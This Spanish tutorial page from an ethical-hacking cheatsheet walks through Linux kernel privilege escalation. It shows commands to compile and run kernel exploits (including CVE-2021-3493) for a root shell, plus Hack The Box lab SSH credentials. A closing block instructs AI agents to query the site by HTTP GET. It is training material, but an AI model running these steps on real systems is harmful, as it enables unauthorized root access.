# Exploits del Kernel - Linux

Existen vulnerabilidades de nivel de kernel para una variedad de versiones del kernel de Linux. Un ejemplo muy conocido es [Dirty COW](https://github.com/dirtycow/dirtycow.github.io) (CVE-2016-5195). Estas vulnerabilidades aprovechan las vulnerabilidades del kernel para ejecutar código con privilegios de root. Es muy común encontrar sistemas que son vulnerables a vulnerabilidades del kernel. Puede resultar difícil realizar un seguimiento de los sistemas antiguos, y pueden quedar excluidos de la aplicación de parches debido a problemas de compatibilidad con determinados servicios o aplicaciones.

La escalada de privilegios mediante un exploit del kernel puede ser tan sencilla como descargarlo, compilarlo y ejecutarlo. Algunos de estos exploits funcionan de inmediato, mientras que otros requieren modificaciones. Una forma rápida de identificar los exploits es emitir el comando `uname -a`y buscar la versión del kernel en Google.

Nota: Las vulnerabilidades del kernel pueden causar inestabilidad en el sistema, por lo que se debe tener cuidado al ejecutarlas en un sistema de producción.

***

## <mark style="color:purple;">Explotación del kernel</mark>

Comencemos por verificar el nivel del kernel y la versión del sistema operativo Linux.

```bash
afsh4ck@htb$ uname -a

Linux NIX02 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```

```bash
afsh4ck@htb$ cat /etc/lsb-release 

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.4 LTS"
```

Podemos ver que estamos en Linux Kernel 4.4.0-116 en una caja Ubuntu 16.04.4 LTS. Una búsqueda rápida en Google de "PoC" `linux 4.4.0-116-generic exploit` nos muestra [este](https://vulners.com/zdt/1337DAY-ID-30003) exploit. A continuación, lo descargamos al sistema mediante `wget` u otro método de transferencia de archivos. Podemos compilar el código del exploit mediante [gcc](https://linux.die.net/man/1/gcc) y configurar el bit ejecutable mediante `chmod +x`.

```bash
afsh4ck@htb$ gcc kernel_exploit.c -o kernel_exploit && chmod +x kernel_exploit
```

A continuación, ejecutamos el exploit y, con suerte, logramos ingresar a un shell root.

```bash
afsh4ck@htb$ ./kernel_exploit 

task_struct = ffff8800b71d7000
uidptr = ffff8800b95ce544
spawning root shell
```

Finalmente podemos confirmar el acceso root a la máquina:

```bash
root@htb# whoami

root
```

***

## <mark style="color:purple;">Caso práctico</mark>

```
SSH a 10.129.35.214 (ACADEMY-LPE-NIX02)
Usuario "htb-student"
Contraseña "Academy_LLPE!"
```

Aumentar los privilegios utilizando un exploit de kernel diferente. Enviar el contenido del archivo flag.txt en el directorio /root/kernel\_exploit.

### Verificar versión del Kernel

```bash
htb-student@NIX02:~$ uname -a
Linux NIX02 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
```

```bash
htb-student@NIX02:~$ cat /etc/lsb-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.6 LTS"
```

### Búsqueda de exploits

Buscando en Google encontramos el siguiente exploit:

{% embed url="<https://github.com/briskets/CVE-2021-3493>" %}

Vamos a usarlo de la siguiente manera:

<figure><img src="/files/I0A6ARA0Nadwg45ZUrtq" alt=""><figcaption></figcaption></figure>

1. Nos descargamos el repositorio en local
2. Entramos al directorio
3. Creamos un servidor local con python para enviar el exploit
4. Recibimos el exploit con wget
5. Compilamos el exploit con gcc y le damos permisos de ejecución
6. Ejecutamos el exploit
7. Recibimos un shell de root
8. Accedemos al directorio `/root` y nos hacemos con la flag


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://afsh4ck.gitbook.io/ethical-hacking-cheatsheet/post-explotacion/escalada-de-privilegios/escalada-de-privilegios-en-linux/exploits-del-kernel-linux.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
